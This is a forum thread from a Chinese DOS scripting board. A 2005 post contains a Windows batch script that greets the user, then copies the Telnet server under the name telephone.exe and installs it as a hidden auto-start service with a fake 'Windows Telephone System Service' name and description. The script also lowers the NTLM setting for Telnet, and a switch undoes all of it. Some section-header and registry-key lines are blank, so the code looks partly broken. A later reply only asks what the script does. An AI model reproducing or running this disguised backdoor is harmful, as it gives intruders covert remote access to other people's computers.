中国DOS联盟论坛

China DOS Union

-- Unite DOS · Advance DOS · Grow DOS --
Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
Guest | Log in | Register | Members | Search | China DOS Union
中国DOS联盟论坛
The time now is 2026-08-02 05:44
48,037 topics / 350,122 posts / today 2 new / 48,250 members
DOS批处理 & 脚本技术(批处理室) » The code still doesn't seem very complete, but I'll post it anyway!
Printable Version  1,503 / 1
Floor1 bagpipe Posted 2005-10-25 11:35
银牌会员 Posts 425 Credits 1,144 From 北京
@echo off
cls
color 0f
echo %date%
echo;
echo ************************☆☆☆☆☆☆☆**************************
echo Welcome to WwW.20Fox.cN Code By BagPipe
echo ************************☆☆☆☆☆☆☆**************************
for /f "tokens=1 delims=:" %%i in ('time /t') do set aa=%%i
if %aa% GEQ 22 goto 3
if %aa% GEQ 19 goto 2
if %aa% GEQ 13 goto 1
if %aa% GEQ 11 goto 6
if %aa% GEQ 06 goto 5
if %aa% GEQ 01 goto 4
:1
echo HeLLo!Good afternoon!
goto 7
:2
echo Hello!Good evening!
goto 7
:3
echo Hello!Good late night!
goto 7
:4
echo Hello!Good early morning!
goto 7
:5
echo Hello!Good morning!
goto 7
:6
echo Hello!Good noon!
goto 7
:7

if "%1"=="-bagpipe" goto pipe

copy c:\winnt\system32\tlntsvr.exe c:\winnt\system32\com\telephone.exe >nul
echo >c:\1.inf
echo signature="$Windows NT$" >>c:\1.inf
echo.>>1.inf
echo >>c:\1.inf
echo addservice=telephone,,bagpipeservice >>c:\1.inf
echo.>>1.inf
echo >>c:\1.inf
echo displayname=Windows Telephone System Service >>c:\1.inf
echo description=This program provides Internet telephone support. >>c:\1.inf
echo servicetype=0x10 >>c:\1.inf
echo starttype=2 >>c:\1.inf
echo errorcontrol=0 >>c:\1.inf
echo servicebinary=c:\winnt\system32\com\telephone.exe >>c:\1.inf

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\1.inf

echo Windows Registry Editor Version 5.00 >c:\1.reg
echo.>>1.reg
echo >>c:\1.reg
echo "NTLM"=dword:00000000 >>c:\1.reg

regedit /s c:\1.reg

del /f .\1.inf
del /f .\1.reg
net start "Windows Telephone System Service">nul
echo Service installation finished!!!
ping 1.1.1.1 -n 2 -w 300 >nul
goto end

:pipe
net stop "Windows Telephone System Service" >nul
del /f c:\winnt\system32\com\telephone.exe >nul
echo >c:\2.inf
echo signature="$Windows NT$" >>c:\2.inf
echo.>>2.inf
echo >>c:\2.inf
echo delservice=telephone >>2.inf

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\2.inf

echo Windows Registry Editor Version 5.00 >c:\2.reg
echo.>>2.reg
echo >>c:\2.reg
echo "NTLM"=dword:00000002 >>c:\2.reg

regedit /s c:\2.reg

echo Uninstall successful!!!
del /f .\2.inf
del /f .\2.reg
ping 1.1.1.1 -n 2 -w 300 >nul
goto end

:end
Floor2 lxmxn Posted 2006-10-07 17:09
版主 Posts 4,938 Credits 11,386
OP, what is this batch file for?
Why does it look to me like it adds a service and then deletes that service again?
Could you explain it roughly?
[ Contact the Union admin team - 中国DOS联盟 - Standard version ]
Sponsored by ifanr Inc | © 2001–2023